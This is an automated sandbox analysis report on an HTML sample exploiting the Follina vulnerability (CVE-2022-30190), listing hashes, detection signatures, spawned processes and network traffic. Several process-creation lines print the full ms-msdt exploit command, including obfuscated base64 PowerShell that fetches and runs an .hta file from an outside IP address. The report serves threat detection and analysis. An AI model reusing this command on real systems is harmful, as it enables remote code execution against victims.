Windows Analysis Report
exploit.html

Overview

General Information

Sample Name: exploit.html
Analysis ID: 647002
MD5: 4c00910baf865f5d0d7f37f77816b375
SHA1: ada759e7a00b362553580a89269201257bd6f9e0
SHA256: 32ec74ccefc7d7feb5c8817097652fc6014c6217f5b6a2695a95e680d6958153
Tags: CVE-2022-30190Follinahtml
Infos:

Detection

Follina CVE-2022-30190
Score: 56
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Multi AV Scanner detection for submitted file
Yara detected Microsoft Office Exploit Follina CVE-2022-30190
Yara signature match
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
IP address seen in connection with other malware

Classification

AV Detection
barindex
Multi AV Scanner detection for submitted file
Source: exploit.html Virustotal: Detection: 46% Perma Link

Exploits
barindex
Yara detected Microsoft Office Exploit Follina CVE-2022-30190
Source: Yara match File source: exploit.html, type: SAMPLE
Source: Yara match File source: 00000009.00000002.768544952.00000227A3924000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000009.00000002.768311956.00000227A3780000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Directory created: C:\Program Files\Google\Chrome\Application\Dictionaries Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Directory created: C:\Program Files\Google\Chrome\Application\Dictionaries\en-US-9-0.bdic Jump to behavior
IP address seen in connection with other malware
Source: Joe Sandbox View IP Address: 239.255.255.250 239.255.255.250
Source: unknown DNS traffic detected: queries for: accounts.google.com
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49755 -> 443
Source: global traffic HTTP traffic detected: GET /service/update2/crx?os=win&arch=x64&os_arch=x86_64&nacl_arch=x86-64&prod=chromecrx&prodchannel=&prodversion=85.0.4183.121&lang=en-US&acceptformat=crx3&x=id%3Dnmmhkkegccagdldgiimedpiccmgmieda%26v%3D0.0.0.0%26installedby%3Dother%26uc%26ping%3Dr%253D-1%2526e%253D1&x=id%3Dpkedcjkdefgpdelpbcmbmeomcjbeemfm%26v%3D0.0.0.0%26installedby%3Dother%26uc%26ping%3Dr%253D-1%2526e%253D1 HTTP/1.1Host: clients2.google.comConnection: keep-aliveX-Goog-Update-Interactivity: fgX-Goog-Update-AppId: nmmhkkegccagdldgiimedpiccmgmieda,pkedcjkdefgpdelpbcmbmeomcjbeemfmX-Goog-Update-Updater: chromecrx-85.0.4183.121Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: pnacl_public_x86_64_pnacl_sz_nexe.0.dr, pnacl_public_x86_64_pnacl_llc_nexe.0.dr String found in binary or memory: http://llvm.org/):
Source: 6c1b8af8-28aa-4b29-abbf-af10d222ea45.tmp.1.dr, 3d4a84fb-912b-4571-8b3e-b938a83e6574.tmp.1.dr String found in binary or memory: https://accounts.google.com
Source: craw_window.js.0.dr String found in binary or memory: https://accounts.google.com/MergeSession
Source: 6c1b8af8-28aa-4b29-abbf-af10d222ea45.tmp.1.dr, 3d4a84fb-912b-4571-8b3e-b938a83e6574.tmp.1.dr String found in binary or memory: https://apis.google.com
Source: pnacl_public_x86_64_libpnacl_irt_shim_dummy_a.0.dr String found in binary or memory: https://chromium.googlesource.com/a/native_client/pnacl-clang.git
Source: pnacl_public_x86_64_libpnacl_irt_shim_dummy_a.0.dr String found in binary or memory: https://chromium.googlesource.com/a/native_client/pnacl-llvm.git
Source: 6c1b8af8-28aa-4b29-abbf-af10d222ea45.tmp.1.dr, 3d4a84fb-912b-4571-8b3e-b938a83e6574.tmp.1.dr String found in binary or memory: https://clients2.google.com
Source: manifest.json1.0.dr, manifest.json.0.dr String found in binary or memory: https://clients2.google.com/service/update2/crx
Source: 6c1b8af8-28aa-4b29-abbf-af10d222ea45.tmp.1.dr, 3d4a84fb-912b-4571-8b3e-b938a83e6574.tmp.1.dr String found in binary or memory: https://clients2.googleusercontent.com
Source: pnacl_public_x86_64_ld_nexe.0.dr String found in binary or memory: https://code.google.com/p/nativeclient/issues/entry
Source: pnacl_public_x86_64_ld_nexe.0.dr String found in binary or memory: https://code.google.com/p/nativeclient/issues/entry%s:
Source: 3b876bb9-6f13-4008-a449-fcb4db3ef49f.tmp.1.dr, 6c1b8af8-28aa-4b29-abbf-af10d222ea45.tmp.1.dr, 3d4a84fb-912b-4571-8b3e-b938a83e6574.tmp.1.dr, 4b7d164a-c6e6-479c-871f-77158ea93dec.tmp.1.dr String found in binary or memory: https://dns.google
Source: 3d4a84fb-912b-4571-8b3e-b938a83e6574.tmp.1.dr String found in binary or memory: https://fonts.googleapis.com
Source: 6c1b8af8-28aa-4b29-abbf-af10d222ea45.tmp.1.dr, 3d4a84fb-912b-4571-8b3e-b938a83e6574.tmp.1.dr String found in binary or memory: https://fonts.gstatic.com
Source: craw_window.js.0.dr, craw_background.js.0.dr String found in binary or memory: https://github.com/google/closure-library/wiki/goog.module:-an-ES6-module-like-alternative-to-goog.p
Source: 6c1b8af8-28aa-4b29-abbf-af10d222ea45.tmp.1.dr, 3d4a84fb-912b-4571-8b3e-b938a83e6574.tmp.1.dr String found in binary or memory: https://ogs.google.com
Source: craw_window.js.0.dr, manifest.json.0.dr String found in binary or memory: https://payments.google.com/payments/v4/js/integrator.js
Source: 6c1b8af8-28aa-4b29-abbf-af10d222ea45.tmp.1.dr String found in binary or memory: https://r2---sn-5hneknes.gvt1.com
Source: 6c1b8af8-28aa-4b29-abbf-af10d222ea45.tmp.1.dr String found in binary or memory: https://redirector.gvt1.com
Source: craw_window.js.0.dr, manifest.json.0.dr String found in binary or memory: https://sandbox.google.com/payments/v4/js/integrator.js
Source: 6c1b8af8-28aa-4b29-abbf-af10d222ea45.tmp.1.dr, 3d4a84fb-912b-4571-8b3e-b938a83e6574.tmp.1.dr String found in binary or memory: https://ssl.gstatic.com
Source: craw_window.js.0.dr, craw_background.js.0.dr String found in binary or memory: https://www-googleapis-staging.sandbox.google.com
Source: 6c1b8af8-28aa-4b29-abbf-af10d222ea45.tmp.1.dr, 3d4a84fb-912b-4571-8b3e-b938a83e6574.tmp.1.dr String found in binary or memory: https://www.google.com
Source: manifest.json.0.dr String found in binary or memory: https://www.google.com/
Source: craw_window.js.0.dr String found in binary or memory: https://www.google.com/accounts/OAuthLogin?issueuberauth=1
Source: craw_window.js.0.dr String found in binary or memory: https://www.google.com/images/cleardot.gif
Source: craw_window.js.0.dr String found in binary or memory: https://www.google.com/images/dot2.gif
Source: craw_window.js.0.dr String found in binary or memory: https://www.google.com/images/x2.gif
Source: craw_background.js.0.dr String found in binary or memory: https://www.google.com/intl/en-US/chrome/blank.html
Source: craw_window.js.0.dr, craw_background.js.0.dr, 6c1b8af8-28aa-4b29-abbf-af10d222ea45.tmp.1.dr, 3d4a84fb-912b-4571-8b3e-b938a83e6574.tmp.1.dr String found in binary or memory: https://www.googleapis.com
Source: manifest.json.0.dr String found in binary or memory: https://www.googleapis.com/
Source: manifest.json.0.dr String found in binary or memory: https://www.googleapis.com/auth/chromewebstore
Source: manifest.json.0.dr String found in binary or memory: https://www.googleapis.com/auth/chromewebstore.readonly
Source: manifest.json.0.dr String found in binary or memory: https://www.googleapis.com/auth/sierra
Source: manifest.json.0.dr String found in binary or memory: https://www.googleapis.com/auth/sierrasandbox
Source: 6c1b8af8-28aa-4b29-abbf-af10d222ea45.tmp.1.dr, 3d4a84fb-912b-4571-8b3e-b938a83e6574.tmp.1.dr String found in binary or memory: https://www.gstatic.com
Source: unknown HTTP traffic detected: POST /ListAccounts?gpsia=1&source=ChromiumBrowser&json=standard HTTP/1.1Host: accounts.google.comConnection: keep-aliveContent-Length: 1Origin: https://www.google.comContent-Type: application/x-www-form-urlencodedSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Yara signature match
Source: exploit.html, type: SAMPLE Matched rule: EXPL_Follina_CVE_2022_30190_Msdt_MSProtocolURI_May22 date = 2022-05-30, author = Tobias Michalski, Christian Burkard, description = Detects the malicious usage of the ms-msdt URI as seen in CVE-2022-30190 / Follina exploitation, reference = https://doublepulsar.com/follina-a-microsoft-office-code-execution-vulnerability-1a47fce5629e, score = , modified = 2022-05-31, hash = 4a24048f81afbe9fb62e7a6a49adbd1faf41f266b5f9feecdceb567aec096784
Source: exploit.html Virustotal: Detection: 46%
Source: C:\Program Files\Google\Chrome\Application\chrome.exe File created: C:\Users\user\AppData\Local\Temp\4da22d7b-7d8d-4364-a4ad-2c80d566c5af.tmp Jump to behavior
Source: C:\Windows\System32\msdt.exe Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: classification engine Classification label: mal56.expl.winHTML@29/117@2/5
Source: unknown Process created: C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --enable-automation "C:\Users\user\Desktop\exploit.html
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1536,17114372066093908599,17355976627410692740,131072 --lang=en-US --service-sandbox-type=network --enable-audio-service-sandbox --mojo-platform-channel-handle=1940 /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: C:\Windows\System32\msdt.exe "C:\Windows\system32\msdt.exe" ms-msdt:/id%20PCWDiagnostic%20/skip%20force%20/param%20%22IT_RebrowseForFile=?%20IT_LaunchMethod=ContextMenu%20IT_BrowseForFile=$(Invoke-Expression($(Invoke-Expression('[System.Text.Encoding]'+[char]58+[char]58+'Unicode.GetString([System.Convert]'+[char]58+[char]58+'FromBase64String('+[char]34+'bQBzAGgAdABhACAAaAB0AHQAcAA6AC8ALwAxADUAOQAuADcANQAuADEAMwA1AC4AMQA2ADIAOgA2ADEAMgA1ADYALwBkAGwAbABoAG8AcwB0AC4AaAB0AGEA'+[char]34+'))'))))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe%22
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1536,17114372066093908599,17355976627410692740,131072 --lang=en-US --service-sandbox-type=network --enable-audio-service-sandbox --mojo-platform-channel-handle=1940 /prefetch:8 Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: C:\Windows\System32\msdt.exe "C:\Windows\system32\msdt.exe" ms-msdt:/id%20PCWDiagnostic%20/skip%20force%20/param%20%22IT_RebrowseForFile=?%20IT_LaunchMethod=ContextMenu%20IT_BrowseForFile=$(Invoke-Expression($(Invoke-Expression('[System.Text.Encoding]'+[char]58+[char]58+'Unicode.GetString([System.Convert]'+[char]58+[char]58+'FromBase64String('+[char]34+'bQBzAGgAdABhACAAaAB0AHQAcAA6AC8ALwAxADUAOQAuADcANQAuADEAMwA1AC4AMQA2ADIAOgA2ADEAMgA1ADYALwBkAGwAbABoAG8AcwB0AC4AaAB0AGEA'+[char]34+'))'))))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe%22 Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe File created: C:\Program Files\Google\Chrome\Application\Dictionaries Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\BrowserMetrics\BrowserMetrics-62AB9CB7-1414.pma Jump to behavior
Source: C:\Windows\System32\msdt.exe Automated click: Next
Source: C:\Windows\System32\msdt.exe Automated click: Next
Source: C:\Windows\System32\msdt.exe Automated click: Next
Source: C:\Windows\System32\msdt.exe Automated click: Next
Source: C:\Windows\System32\msdt.exe Automated click: Next
Source: C:\Windows\System32\msdt.exe Automated click: Next
Source: C:\Windows\System32\msdt.exe Automated click: Next
Source: C:\Windows\System32\msdt.exe Automated click: Next
Source: C:\Windows\System32\msdt.exe Automated click: Next
Source: C:\Windows\System32\msdt.exe Automated click: Next
Source: C:\Windows\System32\msdt.exe Automated click: Next
Source: C:\Windows\System32\msdt.exe Automated click: Next
Source: C:\Windows\System32\msdt.exe Automated click: Next
Source: C:\Windows\System32\msdt.exe Automated click: Next
Source: C:\Windows\System32\msdt.exe Automated click: Next
Source: C:\Windows\System32\msdt.exe File opened: C:\Windows\system32\MSFTEDIT.DLL Jump to behavior
Source: Window Recorder Window detected: More than 3 window changes detected
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Directory created: C:\Program Files\Google\Chrome\Application\Dictionaries Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Directory created: C:\Program Files\Google\Chrome\Application\Dictionaries\en-US-9-0.bdic Jump to behavior
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: C:\Windows\System32\msdt.exe "C:\Windows\system32\msdt.exe" ms-msdt:/id%20PCWDiagnostic%20/skip%20force%20/param%20%22IT_RebrowseForFile=?%20IT_LaunchMethod=ContextMenu%20IT_BrowseForFile=$(Invoke-Expression($(Invoke-Expression('[System.Text.Encoding]'+[char]58+[char]58+'Unicode.GetString([System.Convert]'+[char]58+[char]58+'FromBase64String('+[char]34+'bQBzAGgAdABhACAAaAB0AHQAcAA6AC8ALwAxADUAOQAuADcANQAuADEAMwA1AC4AMQA2ADIAOgA2ADEAMgA1ADYALwBkAGwAbABoAG8AcwB0AC4AaAB0AGEA'+[char]34+'))'))))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe%22
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: C:\Windows\System32\msdt.exe "C:\Windows\system32\msdt.exe" ms-msdt:/id%20PCWDiagnostic%20/skip%20force%20/param%20%22IT_RebrowseForFile=?%20IT_LaunchMethod=ContextMenu%20IT_BrowseForFile=$(Invoke-Expression($(Invoke-Expression('[System.Text.Encoding]'+[char]58+[char]58+'Unicode.GetString([System.Convert]'+[char]58+[char]58+'FromBase64String('+[char]34+'bQBzAGgAdABhACAAaAB0AHQAcAA6AC8ALwAxADUAOQAuADcANQAuADEAMwA1AC4AMQA2ADIAOgA2ADEAMgA1ADYALwBkAGwAbABoAG8AcwB0AC4AaAB0AGEA'+[char]34+'))'))))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe%22 Jump to behavior
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 signatures2 2 Behavior Graph ID: 647002 Sample: exploit.html Startdate: 16/06/2022 Architecture: WINDOWS Score: 56 31 Multi AV Scanner detection for submitted file 2->31 33 Yara detected Microsoft Office Exploit Follina CVE-2022-30190 2->33 6 chrome.exe 18 265 2->6         started        process3 dnsIp4 21 192.168.2.1 unknown unknown 6->21 23 239.255.255.250 unknown Reserved 6->23 15 C:\...\pnacl_public_x86_64_pnacl_sz_nexe, ELF 6->15 dropped 17 C:\...\pnacl_public_x86_64_pnacl_llc_nexe, ELF 6->17 dropped 19 C:\Users\user\...\pnacl_public_x86_64_ld_nexe, ELF 6->19 dropped 10 chrome.exe 15 6->10         started        13 msdt.exe 8 6->13         started        file5 process6 dnsIp7 25 clients.l.google.com 142.250.203.110, 443, 49697, 49755 GOOGLEUS United States 10->25 27 accounts.google.com 172.217.168.45, 443, 49754 GOOGLEUS United States 10->27 29 2 other IPs or domains 10->29
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
172.217.168.45
 accounts.google.com United States
15169 GOOGLEUS false
239.255.255.250
 unknown Reserved
unknown unknown false
142.250.203.110
 clients.l.google.com United States
15169 GOOGLEUS false

Private

IP
192.168.2.1
127.0.0.1

Contacted Domains

Name IP Active
accounts.google.com 172.217.168.45 true
clients.l.google.com 142.250.203.110 true
clients2.google.com unknown unknown

Contacted URLs

Name Malicious Antivirus Detection Reputation
https://clients2.google.com/service/update2/crx?os=win&arch=x64&os_arch=x86_64&nacl_arch=x86-64&prod=chromecrx&prodchannel=&prodversion=85.0.4183.121&lang=en-US&acceptformat=crx3&x=id%3Dnmmhkkegccagdldgiimedpiccmgmieda%26v%3D0.0.0.0%26installedby%3Dother%26uc%26ping%3Dr%253D-1%2526e%253D1&x=id%3Dpkedcjkdefgpdelpbcmbmeomcjbeemfm%26v%3D0.0.0.0%26installedby%3Dother%26uc%26ping%3Dr%253D-1%2526e%253D1 false
    		high
    https://accounts.google.com/ListAccounts?gpsia=1&source=ChromiumBrowser&json=standard false
      		high